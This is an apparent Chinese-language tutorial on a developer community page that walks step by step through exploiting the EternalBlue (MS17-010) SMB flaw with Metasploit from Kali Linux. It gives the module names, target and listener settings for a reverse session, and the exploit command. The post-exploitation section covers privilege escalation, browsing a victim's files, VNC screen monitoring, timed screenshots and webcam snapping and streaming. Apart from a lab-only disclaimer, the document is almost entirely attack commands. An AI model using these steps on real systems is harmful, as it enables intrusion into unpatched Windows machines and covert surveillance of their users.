介绍:

永恒之蓝是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码

注:本操作均在靶机内实现,请勿用于正式环境

攻击机:kali--利用msf扫描目标主机是否存在该漏洞

一、环境准备

1、基础环境要求

环境类型

要求说明

攻击机

安装 Kali Linux(推荐)/Parrot OS,已预装 Metasploit Framework(MSF)

目标机

未修复 MS17-010 漏洞的 Windows 系统(如 Windows 7/2008 R2,关闭防火墙 / 防护软件)

网络

攻击机与目标机处于同一局域网,网络连通性正常

2、MSF 启动前置检查

# 检查MSF版本(确认模块完整性)
msfconsole -v
# 若模块缺失,更新MSF(需联网)
msfupdate

二、详细操作步骤

步骤 1:启动 MSF 控制台

打开攻击机终端,执行以下命令启动 MSF:

# 打开MSF模块
msfconsole

成功启动后会进入 MSF 命令行界面(提示符为msf6 >)。

步骤 2:搜索 MS17-010 相关模块

在 MSF 控制台中执行搜索命令,列出所有与 MS17-010 相关的模块:

search ms17-010

搜索结果解读(核心模块)

  1. exploit/windows/smb/ms17_010_eternalblue
功能:经典的 EternalBlue(永恒之蓝) 利用模块,通过 SMBv1 协议实现 Windows 内核池 corruption,从而远程代码执行。
  1. exploit/windows/smb/ms17_010_psexec
功能:基于 EternalRomance/EternalSynergy/EternalChampion 等衍生漏洞,通过 SMB 实现远程代码执行,风格更接近 psexec(适合后渗透、命令执行)。
  1. auxiliary/admin/smb/ms17_010_command
功能:辅助模块,用于在目标存在 MS17-010 漏洞时执行单条系统命令,不直接获取 Meterpreter 会话。
  1. auxiliary/scanner/smb/smb_ms17_010
功能:纯扫描检测模块,仅用于探测目标主机是否易受 MS17-010 攻击,不会执行任何代码,安全合规。
  1. exploit/windows/smb/smb_doublepulsar_rce
功能:利用 DOUBLEPULSAR(双脉冲星)后门进行远程代码执行,常与 EternalBlue 配合使用。

步骤 3:加载目标模块

场景 1:先扫描漏洞(推荐优先执行)
# 加载扫描模块(替换为实际搜索结果中的序号)
use 1
# 示例:若扫描模块序号为5,则执行 use 5
场景 2:直接利用漏洞(已确认目标存在漏洞时)
# 加载永恒之蓝利用模块(替换为实际序号)
use 2
# 示例:若利用模块序号为1,则执行 use 1

步骤 4:查看并配置模块参数

  1. 查看模块可配置选项
show options

执行后会列出模块的必填 / 可选参数,其中标有required: yes的为必填项。

    2.设置核心参数

# 1. 设置目标IP(必填,替换为实际目标IP)
set rhosts 192.168.1.100
# 批量扫描/攻击可设置IP段:set rhosts 192.168.1.0/24

# 2. 若加载的是利用模块,需额外设置攻击机IP(必填)
set lhost 192.168.1.50  # 攻击机本机IP(用于接收目标会话)
set lport 4444          # 监听端口(默认4444,可自定义)

# 3. 扫描模块可选参数(加快扫描速度)
set threads 10  # 扫描线程数,批量扫描时建议设置

步骤 5:执行扫描 / 攻击

# 启动操作(run与exploit命令等效,利用模块推荐用exploit)
run
# 或
exploit
结果解读

操作类型

成功标识

失败 / 异常标识

漏洞扫描

出现

VULNERABLE

提示

出现

NOT VULNERABLE

(目标已打补丁)/

ERROR

(网络不通)

漏洞利用

出现

Meterpreter session 1 opened

(获取目标会话)

出现

Exploit failed

(Payload 不匹配 / 权限不足)/

Timeout

(防火墙拦截)

三、后渗透操作(获取目标会话后)

若利用模块执行成功,会进入 Meterpreter 交互界面(提示符为meterpreter >),常用操作如下:

# 1. 查看目标系统信息
sysinfo
# 2. 获取当前用户权限
getuid
# 3. 尝试提权至系统管理员
getsystem
# 4. 查看目标文件
ls C:\Users\Desktop  # 查看桌面文件
# 5. 退出会话(保留后台)
background
# 6. 重新进入后台会话(会话ID替换为实际数值)
sessions -i 1
# 7. 彻底退出
exit

run vnc 目标主机 监控屏幕

# 1. 单次截图(Meterpreter 中执行)
screenshot  # 截图会保存到 Kali 的 ~/.msf4/loot 目录

# 2. 定时截图(每 5 秒截一次)
run post/windows/capture/screenshot_interval INTERVAL=5 COUNT=10

# 3. 使用 webcam 模块(若目标有摄像头)
webcam_snap  # 拍摄一张照片
webcam_stream  # 实时摄像头流
注:如果出现中文乱码可以设置编码格式:chcp 65001
补充对比(常见代码页)

代码页编号

编码格式

适用场景

65001

UTF-8

通用编码,兼容所有语言(推荐)

936

GBK/GB2312

简体中文 Windows 系统默认值

437

OEM-US

英文 DOS 系统默认值

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐